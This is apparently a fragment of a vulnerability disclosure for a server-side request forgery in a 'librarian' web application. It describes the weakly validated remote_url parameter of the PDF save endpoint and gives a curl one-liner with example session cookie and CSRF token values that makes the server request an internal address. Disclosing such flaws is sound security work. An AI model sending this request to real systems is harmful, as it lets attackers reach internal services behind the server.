User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
[removed ...]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

```

## POST request to save PDF

```remote_url parameter``` is vulnerable to its weak validation

```bash
POST /librarian/index.php/pdf/save HTTP/1.1
Host: 127.0.0.1

## Bash one-liner

This one-liner is an example with example values to exploit the Server Side Request Forgery:

```bash
curl -X POST http://127.0.0.1/librarian/index.php/pdf/save -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: IL=rcidrisa6hukk5amtmol06b0if" --data-urlencode "remote_url=http://0:6565" --data-urlencode "id=2" --data-urlencode "csrfToken=f3aa558cc79ebf4c48ee042ad61aeaebdf9e9a52b44c64174de398f4f46959df" --proxy http://127.0.0.1:8080
